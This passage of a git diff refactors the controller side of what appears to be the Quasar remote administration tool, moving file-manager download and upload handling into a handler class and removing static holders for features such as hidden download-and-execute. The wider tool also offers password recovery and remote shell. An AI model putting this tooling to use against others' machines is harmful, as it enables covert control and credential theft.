DoDownloadFileResponse message) + { + FileTransfer transfer = _activeTransfers.FirstOrDefault(t => t.Id == message.Id); + + if (transfer == null) + { + if (message.CurrentBlock != 0) + { + // TODO: disconnect client + } + + // don't escape from download directory + if (FileHelper.CheckPathForIllegalChars(message.Filename)) + { + // disconnect malicious client + // TODO: client.Disconnect(); + return; + } + + if (!Directory.Exists(_baseDownloadPath)) + Directory.CreateDirectory(_baseDownloadPath); + + string downloadPath = Path.Combine(_baseDownloadPath, message.Filename); + + int i = 1; + while (File.Exists(downloadPath)) + { + // rename file if it exists already + var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath)); + downloadPath = Path.Combine(_baseDownloadPath, newFileName); + i++; + } + + transfer = new FileTransfer + { + Id = message.Id, + Type = TransferType.Download, + LocalPath = downloadPath, + RemotePath = message.Filename, // TODO: Change to absolute path + Size = message.MaxBlocks, // TODO: Change to real size + TransferredSize = 0 + }; + + _activeTransfers.Add(transfer); + } + + // TODO: change to += message.Block.Length + transfer.TransferredSize = message.CurrentBlock + 1; + + if (!string.IsNullOrEmpty(message.CustomMessage)) + { + // client-side error + transfer.Status = message.CustomMessage; + OnFileTransferUpdated(transfer); + return; + } + + FileSplit destFile = new FileSplit(transfer.LocalPath); + + if (!destFile.AppendBlock(message.Block, message.CurrentBlock)) + { + // server-side error + transfer.Status = destFile.LastError; + OnFileTransferUpdated(transfer); + return; + } + + if (message.CurrentBlock + 1 == message.MaxBlocks) + { + transfer.Status = "Completed"; + } + else + { + decimal progress = + Math.Round((decimal) ((double) (message.CurrentBlock + 1) / (double) message.MaxBlocks * 100.0), 2); + + transfer.Status = $"Downloading...({progress}%)"; + } + + OnFileTransferUpdated(transfer); + } + + private void Execute(ISender client, GetDrivesResponse message) + { + if (message.Drives?.Length == 0) + return; + + OnDrivesChanged(message.Drives); + } + + private void Execute(ISender client, GetDirectoryResponse message) + { + OnDirectoryChanged(message.RemotePath, message.Items); + } + + private void Execute(ISender client, SetStatusFileManager message) + { + OnReport(message.Message); + } + + private int GetUniqueFileTransferId() + { + int id; + do + { + id = FileHelper.GetNewTransferId(); + // generate new Id until we have a unique one + } while (_activeTransfers.Any(f => f.Id == id)); + + return id; + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + foreach (var transfer in _activeTransfers) + { + _client.Send(new DoDownloadFileCancel { Id = transfer.Id }); + } + _activeTransfers.Clear(); + } + } + } +} diff --git a/Server/Core/Commands/MiscHandler.cs b/Server/Core/Commands/MiscHandler.cs index 20cf85e8f..350a8daff 100644 --- a/Server/Core/Commands/MiscHandler.cs +++ b/Server/Core/Commands/MiscHandler.cs @@ -1,10 +1,5 @@ -using System; -using System.IO; -using Quasar.Common.Messages; -using xServer.Core.Helper; +using Quasar.Common.Messages; using xServer.Core.Networking; -using xServer.Core.Utilities; -using xServer.Forms; namespace xServer.Core.Commands { @@ -21,96 +16,5 @@ public static void HandleDoShellExecuteResponse(Client client, DoShellExecuteRes else client.Value.FrmRs.PrintMessage(packet.Output); } - - public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet) - { - if (CanceledDownloads.ContainsKey(packet.Id) || string.IsNullOrEmpty(packet.Filename)) - return; - - // don't escape from download directory - if (FileHelper.CheckPathForIllegalChars(packet.Filename)) - { - // disconnect malicious client - client.Disconnect(); - return; - } - - if (!Directory.Exists(client.Value.DownloadDirectory)) - Directory.CreateDirectory(client.Value.DownloadDirectory); - - string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename); - - if (packet.CurrentBlock == 0 && File.Exists(downloadPath)) - { - for (int i = 1; i < 100; i++) - { - var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath)); - if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName))) continue; - - downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName); - RenamedFiles.Add(packet.Id, newFileName); - break; - } - } - else if (packet.CurrentBlock > 0 && File.Exists(downloadPath) && RenamedFiles.ContainsKey(packet.Id)) - { - downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.Id]); - } - - if (client.Value == null || client.Value.FrmFm == null) - { - FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open."); - client.Send(new DoDownloadFileCancel {Id = packet.Id}); - return; - } - - int index = client.Value.FrmFm.GetTransferIndex(packet.Id); - if (index < 0) - return; - - if (!string.IsNullOrEmpty(packet.CustomMessage)) - { - if (client.Value.FrmFm == null) // abort download when form is closed - return; - - client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0); - return; - } - - FileSplit destFile = new FileSplit(downloadPath); - if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock)) - { - if (client.Value == null || client.Value.FrmFm == null) - return; - - client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0); - return; - } - - decimal progress = - Math.Round((decimal) ((double) (packet.CurrentBlock + 1)/(double) packet.MaxBlocks*100.0), 2); - - if (client.Value == null || client.Value.FrmFm == null) - return; - - if (CanceledDownloads.ContainsKey(packet.Id)) return; - - client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1); - - if ((packet.CurrentBlock + 1) == packet.MaxBlocks) - { - if (client.Value.FrmFm == null) - return; - RenamedFiles.Remove(packet.Id); - client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1); - } - } - - public static void HandleSetStatusFileManager(Client client, SetStatusFileManager packet) - { - if (client.Value == null || client.Value.FrmFm == null) return; - - client.Value.FrmFm.SetStatus(packet.Message, packet.SetLastDirectorySeen); - } } } \ No newline at end of file diff --git a/Server/Core/Commands/RemoteDesktopMessageProcessor.cs b/Server/Core/Commands/RemoteDesktopHandler.cs similarity index 96% rename from Server/Core/Commands/RemoteDesktopMessageProcessor.cs rename to Server/Core/Commands/RemoteDesktopHandler.cs index a8cb5457a..39c844e29 100644 --- a/Server/Core/Commands/RemoteDesktopMessageProcessor.cs +++ b/Server/Core/Commands/RemoteDesktopHandler.cs @@ -8,7 +8,7 @@ namespace xServer.Core.Commands { - public class RemoteDesktopMessageProcessor : MessageProcessorBase + public class RemoteDesktopHandler : MessageProcessorBase { /// /// States if the client is currently streaming desktop frames. @@ -76,7 +76,7 @@ public Size LocalResolution /// /// All currently available displays. /// - protected virtual void OnDisplaysChanged(int value) + private void OnDisplaysChanged(int value) { SynchronizationContext.Post(val => { @@ -86,7 +86,7 @@ protected virtual void OnDisplaysChanged(int value) } /// - /// The client which is associated with this remote desktop message processor. + /// The client which is associated with this remote desktop handler. /// private readonly Client _client; @@ -96,10 +96,10 @@ protected virtual void OnDisplaysChanged(int value) private UnsafeStreamCodec _codec; /// - /// Initializes a new instance of the class using the given client. + /// Initializes a new instance of the class using the given client. /// /// The associated client. - public RemoteDesktopMessageProcessor(Client client) : base(true) + public RemoteDesktopHandler(Client client) : base(true) { _client = client; } diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index 3962745f2..5a2fc2341 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -32,7 +32,7 @@ public static void HandleGetPasswordsResponse(Client client, GetPasswordsRespons { Username = values[0], Password = values[1], - URL = values[2], + Url = values[2], Application = values[3] }) .ToList(); diff --git a/Server/Core/Commands/SystemHandler.cs b/Server/Core/Commands/SystemHandler.cs index 1600d7aaa..994b9dd89 100644 --- a/Server/Core/Commands/SystemHandler.cs +++ b/Server/Core/Commands/SystemHandler.cs @@ -1,12 +1,8 @@ -using Quasar.Common.Enums; +using Quasar.Common.Messages; using System; -using System.IO; using System.Text; -using System.Threading; using System.Windows.Forms; -using Quasar.Common.Messages; using xServer.Core.Data; -using xServer.Core.Helper; using xServer.Core.Networking; using xServer.Forms; @@ -15,79 +11,6 @@ namespace xServer.Core.Commands /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE SYSTEM (drives, directories, files, etc.). */ public static partial class CommandHandler { - public static void HandleGetDrivesResponse(Client client, GetDrivesResponse packet) - { - if (client.Value == null || client.Value.FrmFm == null || packet.DriveDisplayName == null || packet.RootDirectory == null) - return; - - if (packet.DriveDisplayName.Length != packet.RootDirectory.Length) return; - - RemoteDrive[] drives = new RemoteDrive[packet.DriveDisplayName.Length]; - for (int i = 0; i < packet.DriveDisplayName.Length; i++) - { - drives[i] = new RemoteDrive(packet.DriveDisplayName[i], packet.RootDirectory[i]); - } - - if (client.Value != null && client.Value.FrmFm != null) - { - client.Value.FrmFm.AddDrives(drives); - client.Value.FrmFm.SetStatus("Ready"); - } - } - - public static void HandleGetDirectoryResponse(Client client, GetDirectoryResponse packet) - { - if (client.Value == null || client.Value.FrmFm == null) - return; - - new Thread(() => - { - if (client.Value.ProcessingDirectory) return; - client.Value.ProcessingDirectory = true; - - client.Value.FrmFm.ClearFileBrowser(); - client.Value.FrmFm.AddItemToFileBrowser("..", "", PathType.Back, 0); - - if (packet.Folders != null && packet.Folders.Length != 0 && client.Value.ProcessingDirectory) - { - for (int i = 0; i < packet.Folders.Length; i++) - { - if (packet.Folders[i] != DELIMITER) - { - if (client.Value == null || client.Value.FrmFm == null || !client.Value.ProcessingDirectory) - break; - - client.Value.FrmFm.AddItemToFileBrowser(packet.Folders[i], "", PathType.Directory, 1); - } - } - } - - if (packet.Files != null && packet.Files.Length != 0 && client.Value.ProcessingDirectory) - { - for (int i = 0; i < packet.Files.Length; i++) - { - if (packet.Files[i] != DELIMITER) - { - if (client.Value == null || client.Value.FrmFm == null || !client.Value.ProcessingDirectory) - break; - - client.Value.FrmFm.AddItemToFileBrowser(packet.Files[i], - FileHelper.GetDataSize(packet.FilesSize[i]), PathType.File, - FileHelper.GetFileIcon(Path.GetExtension(packet.Files[i]))); - } - } - } - - if (client.Value != null) - { - client.Value.ReceivedLastDirectory = true; - client.Value.ProcessingDirectory = false; - if (client.Value.FrmFm != null) - client.Value.FrmFm.SetStatus("Ready"); - } - }).Start(); - } - public static void HandleGetSystemInfoResponse(Client client, GetSystemInfoResponse packet) { if (packet.SystemInfos == null) diff --git a/Server/Core/Data/AutostartItem.cs b/Server/Core/Data/AutostartItem.cs deleted file mode 100644 index 538e97875..000000000 --- a/Server/Core/Data/AutostartItem.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace xServer.Core.Data -{ - public static class AutostartItem - { - public static string Name { get; set; } - public static string Path { get; set; } - public static int Type { get; set; } - } -} diff --git a/Server/Core/Data/DownloadAndExecute.cs b/Server/Core/Data/DownloadAndExecute.cs deleted file mode 100644 index b339a6f69..000000000 --- a/Server/Core/Data/DownloadAndExecute.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace xServer.Core.Data -{ - public static class DownloadAndExecute - { - public static string URL { get; set; } - public static bool RunHidden { get; set; } - } -} diff --git a/Server/Core/Data/Messagebox.cs b/Server/Core/Data/Messagebox.cs deleted file mode 100644 index 866623320..000000000 --- a/Server/Core/Data/Messagebox.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace xServer.Core.Data -{ - public static class Messagebox - { - public static string Caption { get; set; } - public static string Text { get; set; } - public static string Button { get; set; } - public static string Icon { get; set; } - } -} diff --git a/Server/Core/Data/RecoveredAccount.cs b/Server/Core/Data/RecoveredAccount.cs index 582bafd3a..09944dacd 100644 --- a/Server/Core/Data/RecoveredAccount.cs +++ b/Server/Core/Data/RecoveredAccount.cs @@ -4,7 +4,7 @@ public class RecoveredAccount { public string Username { get; set; } public string Password { get; set; } - public string URL { get; set; } + public string Url { get; set; } public string Application { get; set; } } } diff --git a/Server/Core/Data/RemoteDrive.cs b/Server/Core/Data/RemoteDrive.cs deleted file mode 100644 index 708cf7d79..000000000 --- a/Server/Core/Data/RemoteDrive.cs +++ /dev/null @@ -1,15 +0,0 @@ -namespace xServer.Core.Data -{ - public class RemoteDrive - { - public string DisplayName { get; private set; } - - public string RootDirectory { get; private set; } - - public RemoteDrive(string displayName, string rootDirectory) - { - this.DisplayName = displayName; - this.RootDirectory = rootDirectory; - } - } -} diff --git a/Server/Core/Data/Update.cs b/Server/Core/Data/Update.cs deleted file mode 100644 index 16e0a8a6e..000000000 --- a/Server/Core/Data/Update.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace xServer.Core.Data -{ - public static class Update - { - public static bool UseDownload { get; set; } - public static string UploadPath { get; set; } - public static string DownloadURL { get; set; } - } -} diff --git a/Server/Core/Data/UploadAndExecute.cs b/Server/Core/Data/UploadAndExecute.cs deleted file mode 100644 index 339966bf0..000000000 --- a/Server/Core/Data/UploadAndExecute.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace xServer.Core.Data -{ - public static class UploadAndExecute - { - public static string FilePath { get; set; } - public static bool RunHidden { get; set; } - } -} diff --git a/Server/Core/Data/VisitWebsite.cs b/Server/Core/Data/VisitWebsite.cs deleted file mode 100644 index 644af44a0..000000000 --- a/Server/Core/Data/VisitWebsite.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace xServer.Core.Data -{ - public static class VisitWebsite - { - public static string URL { get; set; } - public static bool Hidden { get; set; } - } -} diff --git a/Server/Core/Helper/FileHelper.cs b/Server/Core/Helper/FileHelper.cs index 94bf334bb..3f03ab445 100644 --- a/Server/Core/Helper/FileHelper.cs +++ b/Server/Core/Helper/FileHelper.cs @@ -1,4 +1,4 @@ -using System; +using Quasar.Common.Utilities; using System.IO; using System.Linq; using System.Text; @@ -9,7 +9,7 @@ namespace xServer.Core.Helper public static class FileHelper { private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; - private static readonly Random _rnd = new Random(Environment.TickCount); + private static readonly SafeRandom Random = new SafeRandom(); private static readonly string[] _sizes = { "B", "KB", "MB", "GB" }; private static readonly char[] _illegalChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray(); @@ -22,14 +22,14 @@ public static string GetRandomFilename(int length, string extension = "") { StringBuilder randomName = new StringBuilder(length); for (int i = 0; i < length; i++) - randomName.Append(CHARS[_rnd.Next(CHARS.Length)]); + randomName.Append(CHARS[Random.Next(CHARS.Length)]); return string.Concat(randomName.ToString(), extension); } public static int GetNewTransferId(int o = 0) { - return _rnd.Next(0, int.MaxValue) + o; + return Random.Next(0, int.MaxValue) + o; } public static string GetDataSize(long size) @@ -44,66 +44,6 @@ public static string GetDataSize(long size) return string.Format("{0:0.##} {1}", len, _sizes[order]); } - public static int GetFileIcon(string extension) - { - if (string.IsNullOrEmpty(extension)) - return 2; - - switch (extension.ToLower()) - { - default: - return 2; - case ".exe": - return 3; - case ".txt": - case ".log": - case ".conf": - case ".cfg": - case ".asc": - return 4; - case ".rar": - case ".zip": - case ".zipx": - case ".tar": - case ".tgz": - case ".gz": - case ".s7z": - case ".7z": - case ".bz2": - case ".cab": - case ".zz": - case ".apk": - return 5; - case ".doc": - case ".docx": - case ".odt": - return 6; - case ".pdf": - return 7; - case ".jpg": - case ".jpeg": - case ".png": - case ".bmp": - case ".gif": - case ".ico": - return 8; - case ".mp4": - case ".mov": - case ".avi": - case ".wmv": - case ".mkv": - case ".m4v": - case ".flv": - return 9; - case ".mp3": - case ".wav": - case ".pls": - case ".m3u": - case ".m4a": - return 10; - } - } - /// /// Appends text to a log file. /// diff --git a/Server/Core/Networking/PacketHandler.cs b/Server/Core/Networking/PacketHandler.cs index d965364ff..654312c7b 100644 --- a/Server/Core/Networking/PacketHandler.cs +++ b/Server/Core/Networking/PacketHandler.cs @@ -26,19 +26,6 @@ public static void HandlePacket(Client client, IMessage packet) CommandHandler.HandleGetProcessesResponse(client, (GetProcessesResponse)packet); } - else if (type == typeof(GetDrivesResponse)) - { - CommandHandler.HandleGetDrivesResponse(client, (GetDrivesResponse)packet); - } - else if (type == typeof(GetDirectoryResponse)) - { - CommandHandler.HandleGetDirectoryResponse(client, (GetDirectoryResponse)packet); - } - else if (type == typeof(DoDownloadFileResponse)) - { - CommandHandler.HandleDoDownloadFileResponse(client, - (DoDownloadFileResponse)packet); - } else if (type == typeof(GetSystemInfoResponse)) { CommandHandler.HandleGetSystemInfoResponse(client, @@ -102,10 +89,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleGetPasswordsResponse(client, (GetPasswordsResponse)packet); } - else if (type == typeof(SetStatusFileManager)) - { - CommandHandler.HandleSetStatusFileManager(client, (SetStatusFileManager)packet); - } else if (type == typeof(ReverseProxyConnectResponse) || type == typeof(ReverseProxyData) || type == typeof(ReverseProxyDisconnect)) diff --git a/Server/Core/Networking/Server.cs b/Server/Core/Networking/Server.cs index 470184fd2..fcba8e099 100644 --- a/Server/Core/Networking/Server.cs +++ b/Server/Core/Networking/Server.cs @@ -234,7 +234,7 @@ protected Server() { _clients = new List(); BufferManager = new PooledBufferManager(BUFFER_SIZE, 1) { ClearOnReturn = false }; - AddTypesToSerializer(typeof(IMessage), PacketRegistery.GetPacketTypes(typeof(IMessage)).ToArray()); + AddTypesToSerializer(typeof(IMessage), PacketRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); } /// diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index 9bf738bc9..b88bad2ee 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -1,5 +1,4 @@ -using Quasar.Common.Video.Codecs; -using System; +using System; using System.Windows.Forms; using xServer.Core.ReverseProxy; using xServer.Forms; @@ -26,7 +25,6 @@ public class UserState : IDisposable public FrmRemoteWebcam FrmWebcam { get; set; } public FrmTaskManager FrmTm { get; set; } - public FrmFileManager FrmFm { get; set; } public FrmRegistryEditor FrmRe { get; set; } public FrmSystemInformation FrmSi { get; set; } public FrmRemoteShell FrmRs { get; set; } @@ -36,37 +34,8 @@ public class UserState : IDisposable public FrmPasswordRecovery FrmPass { get; set; } public FrmConnections FrmCon { get; set; } - - public bool ReceivedLastDirectory { get; set; } public ReverseProxyServer ProxyServer { get; set; } - public bool ProcessingDirectory - { - get - { - lock (_processingDirectoryLock) - { - return _processingDirectory; - } - } - set - { - lock (_processingDirectoryLock) - { - _processingDirectory = value; - } - } - } - private bool _processingDirectory; - private readonly object _processingDirectoryLock; - - public UserState() - { - ReceivedLastDirectory = true; - _processingDirectory = false; - _processingDirectoryLock = new object(); - } - public void Dispose() { Dispose(true); @@ -82,8 +51,6 @@ protected virtual void Dispose(bool disposing) FrmWebcam.Invoke((MethodInvoker)delegate { FrmWebcam.Close(); }); if (FrmTm != null) FrmTm.Invoke((MethodInvoker)delegate { FrmTm.Close(); }); - if (FrmFm != null) - FrmFm.Invoke((MethodInvoker)delegate { FrmFm.Close(); }); if (FrmRe != null) FrmRe.Invoke((MethodInvoker)delegate { FrmRe.Close(); }); if (FrmSi != null) diff --git a/Server/Enums/TransferType.cs b/Server/Enums/TransferType.cs new file mode 100644 index 000000000..795b5498e --- /dev/null +++ b/Server/Enums/TransferType.cs @@ -0,0 +1,8 @@ +namespace xServer.Enums +{ + public enum TransferType + { + Upload, + Download + } +} diff --git a/Server/Forms/FrmAddToAutostart.cs b/Server/Forms/FrmAddToAutostart.cs index d01219c1c..6e3826c84 100644 --- a/Server/Forms/FrmAddToAutostart.cs +++ b/Server/Forms/FrmAddToAutostart.cs @@ -1,14 +1,15 @@ -using System; +using Quasar.Common.Models; +using System; using System.IO; using System.Windows.Forms; -using xServer.Core.Data; using xServer.Core.Helper; -using xServer.Core.Utilities; namespace xServer.Forms { public partial class FrmAddToAutostart : Form { + public StartupItem StartupItem { get; set; } + public FrmAddToAutostart() { InitializeComponent(); @@ -38,9 +39,7 @@ private void AddTypes() private void btnAdd_Click(object sender, EventArgs e) { - AutostartItem.Name = txtName.Text; - AutostartItem.Path = txtPath.Text; - AutostartItem.Type = cmbType.SelectedIndex; + StartupItem = new StartupItem {Name = txtName.Text, Path = txtPath.Text, Type = cmbType.SelectedIndex}; this.DialogResult = DialogResult.OK; this.Close(); diff --git a/Server/Forms/FrmDownloadAndExecute.cs b/Server/Forms/FrmDownloadAndExecute.cs index 4f0866d5c..b0a353a3f 100644 --- a/Server/Forms/FrmDownloadAndExecute.cs +++ b/Server/Forms/FrmDownloadAndExecute.cs @@ -1,13 +1,14 @@ using System; using System.Windows.Forms; -using xServer.Core.Data; using xServer.Core.Helper; -using xServer.Core.Utilities; namespace xServer.Forms { public partial class FrmDownloadAndExecute : Form { + public string Url { get; set; } + public bool Hidden { get; set; } + private readonly int _selectedClients; public FrmDownloadAndExecute(int selected) @@ -18,8 +19,8 @@ public FrmDownloadAndExecute(int selected) private void btnDownloadAndExecute_Click(object sender, EventArgs e) { - DownloadAndExecute.URL = txtURL.Text; - DownloadAndExecute.RunHidden = chkRunHidden.Checked; + Url = txtURL.Text; + Hidden = chkRunHidden.Checked; this.DialogResult = DialogResult.OK; this.Close(); @@ -28,8 +29,6 @@ private void btnDownloadAndExecute_Click(object sender, EventArgs e) private void FrmDownloadAndExecute_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("Download & Execute", _selectedClients); - txtURL.Text = DownloadAndExecute.URL; - chkRunHidden.Checked = DownloadAndExecute.RunHidden; } } } \ No newline at end of file diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs index 607bf0ce2..c6d85db07 100644 --- a/Server/Forms/FrmFileManager.cs +++ b/Server/Forms/FrmFileManager.cs @@ -1,40 +1,185 @@ -using System; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; -using System.Linq; -using System.Threading; using System.Windows.Forms; -using Quasar.Common.Enums; -using Quasar.Common.Messages; using xServer.Controls; using xServer.Core.Commands; -using xServer.Core.Data; using xServer.Core.Helper; using xServer.Core.Networking; -using xServer.Core.Utilities; -using xServer.Enums; +using xServer.Models; namespace xServer.Forms { public partial class FrmFileManager : Form { + /// + /// The current remote directory shown in the file manager. + /// private string _currentDir; + + /// + /// The client which can be used for the file manager. + /// private readonly Client _connectClient; - private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file uploads - public Dictionary CanceledUploads = new Dictionary(); - private const int TRANSFER_ID = 0; - private const int TRANSFER_TYPE = 1; - private const int TRANSFER_STATUS = 2; + /// + /// The message handler for handling the communication with the client. + /// + private readonly FileManagerHandler _fileManagerHandler; + + private enum TransferColumn + { + Id, + Type, + Status, + } + + /// + /// Holds the opened file manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new file manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the file manager form. + /// + /// Returns a new file manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmFileManager CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmFileManager f = new FrmFileManager(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } - public FrmFileManager(Client c) + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmFileManager(Client client) { - _connectClient = c; - _connectClient.Value.FrmFm = this; + _connectClient = client; + + _fileManagerHandler = new FileManagerHandler(client); + + RegisterMessageHandler(); InitializeComponent(); } + /// + /// Registers the file manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _fileManagerHandler.ProgressChanged += SetStatusMessage; + _fileManagerHandler.DrivesChanged += DrivesChanged; + _fileManagerHandler.DirectoryChanged += DirectoryChanged; + _fileManagerHandler.FileTransferUpdated += FileTransferUpdated; + MessageHandler.Register(_fileManagerHandler); + } + + /// + /// Unregisters the file manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_fileManagerHandler); + _fileManagerHandler.ProgressChanged -= SetStatusMessage; + _fileManagerHandler.DrivesChanged -= DrivesChanged; + _fileManagerHandler.DirectoryChanged -= DirectoryChanged; + _fileManagerHandler.FileTransferUpdated -= FileTransferUpdated; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void DrivesChanged(object sender, Drive[] drives) + { + cmbDrives.Items.Clear(); + cmbDrives.DisplayMember = "DisplayName"; + cmbDrives.ValueMember = "RootDirectory"; + cmbDrives.DataSource = new BindingSource(drives, null); + + SetStatusMessage(this, "Ready"); + } + + private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items) + { + txtPath.Text = remotePath; + _currentDir = remotePath; + + lstDirectory.Items.Clear(); + + AddItemToFileBrowser("..", "", FileType.Back, 0); + foreach (var item in items) + { + switch (item.EntryType) + { + case FileType.Directory: + AddItemToFileBrowser(item.Name, "", item.EntryType, 1); + break; + case FileType.File: + int imageIndex = item.ContentType == null ? 2 : (int)item.ContentType; + AddItemToFileBrowser(item.Name, FileHelper.GetDataSize(item.Size), item.EntryType, + imageIndex); + break; + } + } + + SetStatusMessage(this, "Ready"); + } + + private void FileTransferUpdated(object sender, FileTransfer transfer) + { + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + if (lstTransfers.Items[i].SubItems[(int)TransferColumn.Id].Text == transfer.Id.ToString()) + { + lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = transfer.Status; + + switch (transfer.Status) + { + case "Completed": + lstTransfers.Items[i].ImageIndex = 1; + break; + case "Canceled": + lstTransfers.Items[i].ImageIndex = 0; + break; + } + return; + } + } + + var lvi = new ListViewItem(new[] + { + transfer.Id.ToString(), transfer.Type.ToString(), transfer.Status, transfer.RemotePath + }) {Tag = transfer}; + + lstTransfers.Items.Add(lvi); + } + private string GetAbsolutePath(string item) { if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes @@ -48,7 +193,7 @@ private string GetAbsolutePath(string item) return Path.GetFullPath(Path.Combine(_currentDir, item)); } - private void NavigateUp() + private string NavigateUp() { if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes { @@ -60,51 +205,43 @@ private void NavigateUp() else _currentDir = "/"; - SetCurrentDir(_currentDir); + return _currentDir; } else - SetCurrentDir(GetAbsolutePath(@"..\")); + return GetAbsolutePath(@"..\"); } private void FrmFileManager_Load(object sender, EventArgs e) { - if (_connectClient != null) - { - this.Text = WindowHelper.GetWindowTitle("File Manager", _connectClient); - _connectClient.Send(new GetDrives()); - } + this.Text = WindowHelper.GetWindowTitle("File Manager", _connectClient); + + _fileManagerHandler.RequestDrives(); } private void FrmFileManager_FormClosing(object sender, FormClosingEventArgs e) { - if (_connectClient.Value != null) - _connectClient.Value.FrmFm = null; + UnregisterMessageHandler(); + _fileManagerHandler.Dispose(); } private void cmbDrives_SelectedIndexChanged(object sender, EventArgs e) { - if (_connectClient != null && _connectClient.Value != null) - { - SetCurrentDir(cmbDrives.SelectedValue.ToString()); - RefreshDirectory(); - } + SwitchDirectory(cmbDrives.SelectedValue.ToString()); } private void lstDirectory_DoubleClick(object sender, EventArgs e) { - if (_connectClient != null && _connectClient.Value != null && lstDirectory.SelectedItems.Count > 0) + if (lstDirectory.SelectedItems.Count > 0) { - PathType type = (PathType) lstDirectory.SelectedItems[0].Tag; + FileType type = (FileType) lstDirectory.SelectedItems[0].Tag; switch (type) { - case PathType.Back: - NavigateUp(); - RefreshDirectory(); + case FileType.Back: + SwitchDirectory(NavigateUp()); break; - case PathType.Directory: - SetCurrentDir(GetAbsolutePath(lstDirectory.SelectedItems[0].SubItems[0].Text)); - RefreshDirectory(); + case FileType.Directory: + SwitchDirectory(GetAbsolutePath(lstDirectory.SelectedItems[0].SubItems[0].Text)); break; } } @@ -114,20 +251,15 @@ private void downloadToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem files in lstDirectory.SelectedItems) { - PathType type = (PathType)files.Tag; + FileType type = (FileType)files.Tag; - if (type == PathType.File) + if (type == FileType.File) { - string path = GetAbsolutePath(files.SubItems[0].Text); + string remotePath = GetAbsolutePath(files.SubItems[0].Text); - int id = FileHelper.GetNewTransferId(files.Index); + _fileManagerHandler.BeginDownloadFile(remotePath); - if (_connectClient != null) - { - _connectClient.Send(new DoDownloadFile {RemotePath = path, Id = id}); - - AddTransfer(id, "Download", "Pending...", files.SubItems[0].Text); - } + //AddTransfer(id, "Download", "Pending...", files.SubItems[0].Text); } } } @@ -142,89 +274,13 @@ private void uploadToolStripMenuItem_Click(object sender, EventArgs e) if (ofd.ShowDialog() == DialogResult.OK) { - var remoteDir = _currentDir; - foreach (var filePath in ofd.FileNames) + foreach (var localFilePath in ofd.FileNames) { - if (!File.Exists(filePath)) continue; + if (!File.Exists(localFilePath)) continue; - string path = filePath; - new Thread(() => - { - int id = FileHelper.GetNewTransferId(); - - if (string.IsNullOrEmpty(path)) return; - - AddTransfer(id, "Upload", "Pending...", Path.GetFileName(path)); - - int index = GetTransferIndex(id); - if (index < 0) - return; - - FileSplit srcFile = new FileSplit(path); - if (srcFile.MaxBlocks < 0) - { - UpdateTransferStatus(index, "Error reading file", 0); - return; - } - - string remotePath = Path.Combine(remoteDir, Path.GetFileName(path)); - - if (string.IsNullOrEmpty(remotePath)) return; - - _limitThreads.WaitOne(); - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - if (_connectClient.Value == null || _connectClient.Value.FrmFm == null) - { - _limitThreads.Release(); - return; // abort upload when from is closed or client disconnected - } - - if (CanceledUploads.ContainsKey(id)) - { - 